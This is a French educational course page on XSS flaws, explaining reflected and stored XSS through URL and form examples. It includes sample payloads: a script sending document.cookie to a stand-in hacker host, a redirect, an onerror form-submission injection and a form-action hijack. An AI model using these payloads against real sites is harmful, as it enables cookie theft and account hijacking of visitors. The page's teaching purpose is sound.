Les failles de sécurité XSS

1. Objectifs

• Connaitre les injections XSS

2. Présentations

• Le Cross Site Scripting, abrégé XSS (Cross voulant dire « croix » en anglais, le symbole X a été choisi pour le représenter), est un type de faille de sécurité que l’on trouve typiquement dans les applications web.
• Une faille XSS consiste à injecter du code directement interprétable par le navigateur Web, comme, par exemple, du JavaScript ou du HTML.
• Cette attaque ne vise pas directement le site comme le ferait une injection SQL mais concerne plutôt la partie client c’est-à-dire vous (ou plutôt votre navigateur). Ce dernier ne fera aucune différence entre le code du site et celui injecté par le pirate, il va donc l’exécuter sans broncher.
• Les possibilités sont nombreuses : redirection vers un autre site, vol de cookies, modification du code HTML de la page, exécution d’exploits contre le navigateur : en bref, tout ce que ces langages de script vous permettent de faire.
• Le principe consiste à injecter du code (html, javascript …) directement dans les pages web. Cela se fait généralement via un formulaire à remplir, en déposant un message dans un forum, dans un moteur de recherche ou directement dans l’URL d’un site, en y ajoutant quelques paramètres.





3. Lestypes de failles XSS

• Il existe deux types de failles XSS : Reflected XSS (ou non persistante) et Stored XSS (ou persistante).

• Reflected XSS (ou non persistante)

• Elle est dite non-persistante car elle n’est pas stockée dans un fichier ou dans une base de données. Ce type de faille XSS ne stocke pas le contenu malicieux sur le serveur web. Le contenu est par exemple livré à la victime via une URL qui le contient (envoyée par email ou par un autre moyen).
• La plupart des navigateurs web ont intégré dans leurs dernières versions un filtre anti-XSS (Chrome, IE, Safari, Opera, Edge). Il analyse le rendu d’une page envoyée par le serveur et supprime toute occurence de javascript qui serait également présente dans la requête du client. Cela protège les utilisateurs d’une Reflected XSS mais pas d’une Persistent XSS.

• Stored XSS (ou persistente)

• La faille XSS persistente est la plus dangeurese car elle sera exécuté à chaque chargement du site. En effet, cette dernière est stockée soit dans un fichier ou dans une base de données. Prenons pour exemple un forum de discussions quelconque.
• L’attaquant va poster un message ou un commentaire contenant le contenu malicieux. Lorsque les autres utilisateurs vont se rendre sur la page contenant le message ou le commentaire frauduleux, ce dernier sera exécuté.
• Vous naviguez sur un site vous permettant de voir les prévisions météo pour une ville donnée. Le nom de la ville est fourni dans l’URL de la page via un paramètre « GET », comme ceci : www.meteo.com/previsionsmeteo?ville=Montpellier
• Les prévisions pour la ville de Montpellier vous seront affichées sur la page retournée par le serveur du site météo. Le pirate pourra alors utiliser cette même URL pour fournir un contenu malicieux comme ceci : www.meteo.com/previsionsmeteo?ville=Montpellier>script>alert(document.cookie);>/script>
• Avec un tel contenu dans l’URL, le serveur web va donc afficher les prévisions météo pour Montpellier, mais va potentiellement aussi inclure le contenu dangereux dans la page.

4. Les XSS : explications

• Soit le bout de code suivant:



• Rien de spécial, il ne fait qu’afficher un champ qui nous servira pour un petit moteur de recherche.
1. Testons donc ce formulaire avec le mot test.
2. Maintenant testons avec <h1>test</h1>
3. Analysons le code obtenu.

<form type="get" action="">
<input type="text" name="keyword" value="<h1>test</h1>"
/>
<input type="submit" value="Rechercher" />
</form>

4. Testons avec, par exemple, <h1 style="color:red;"><u>test</u></h1> pour vérifier notre théorie (le mot recherché devrait alors être affiché en tant que titre, souligné et en rouge).

http://localhost/xss.php?keyword=<h1
style="color:red;"><u>test</u></h1>

5. Exemples d’attaques simples

• Notre premier exemple, sûrement l’un des plus simples, se base sur la ligne de code suivante :<script>alert('bonjour')</script>
• Imaginons que l’on trouve un site vulnérable, qui propose par exemple de laisser un commentaire aux visiteurs. On pourra copier/coller cette ligne dans la zone de saisie. Ainsi, lors de l’affichage du commentaire le site exécutera quelque chose comme cela :

<html>
<body>
....
Votre commentaire :
<p><script>alert('bonjour')</script></p>
...
</body>
</html>

• On comprend donc ici, que lors du chargement de la page, les navigateurs web seront forcés d’exécuter le code injecté pour afficher une petite boite de dialogue, contenant le message « bonjour ».
• A partir de là, les possibilités d’injection sont nombreuses, voir infinies. Voici quelques exemples très courants :
• Rediriger tous les visiteurs vers un autre site :

<script language="javascript">document.location.href="http://site-du-hacker.com/"</script>

• Afficher un contenu souhaité par le hacker (message, pubs …) :

<script>document.write('ma pub')</script>

• voler des informations aux visiteurs (cookies, sessions …) :

<script>window.open("http://site-du-hacker.com/recupcookie.php?val='+document.cookie");</script>

6. Les attaques par URLs

• Bien sûr d’autres techniques d’attaques existent. Il est par exemple possible d’injecter du code directement dans les paramètres d’une URL.
• Dans les navigateurs (Chrome, Firefox, Internet Explorer, Safari…) l’URL (Uniform Ressource Locator) correspond à l’adresse web qui se trouve dans la barre d’adresse du navigateur et elle conduit à l’adresse d’une ressource, généralement une page web (de terminologie .html, .php …). Elle contient le protocole utilisé (http est le plus utilisé), le nom du serveur (le nom de domaine qui est l’adresse IP), parfois le numéro du port et le chemin d’accès.
• Il est donc plus prudent d’interdire toute utilisation de balises html. La fonction Php strip_tags() permet de faire cela et peut aller plus loin en autorisant seulement certaines balises. On pourra aussi utiliser une fonction similaire à celle-ci, qui s’occupe de neutraliser toutes les balises html

Exemple : http://monsite.net/index.html

En langage PHP vous pouvez transmettre des informations via l’URL par la méthode GET et si vous ne sécurisez pas ces données un hacker pourra récupérer des données sensibles.

En langage PHP vous pouvez transmettre des informations via l’URL par la méthode GET et si vous ne sécurisez pas ces données un hacker pourra récupérer des données sensibles.

• manipuler l’adresse URL  pour aboutir sur des pages non autorisées
• rechercher des répertoires (type administration) par tâtonnement dans l’adresse URL
• remonter vers des répertoires en amont toujours pour récupérer des informations confidentielles

7. Les attaques de formulaires

• Les formulaires html ne sont pas à l’abri non plus, lorsque l’on oublie de vérifier le contenu des champs envoyés par les utilisateurs.
• Soumettre des formulaires (déjà présents, ou bien entièrement créés, voire même présents mais modifiés) :

<img src="" onerror="with(appendChild(createElement('form')))
submit(i=createElement('input'),i.name='content',i.value='1',appendChild(i),action='post.php',method='post')">

• Détourner des formulaires vers un autre site : l’autre site peut alors s’insérer dans les communications entre le navigateur et le site légitime :

window.document.forms[0].action.Value = 'http://autresite.com/'

Source:

• http://www.tux-planet.fr/les-failles-de-securite-xss-ou-cross-site-scripting/
• https://www.httpcs.com/fr/faille-cross-site-scripting-xss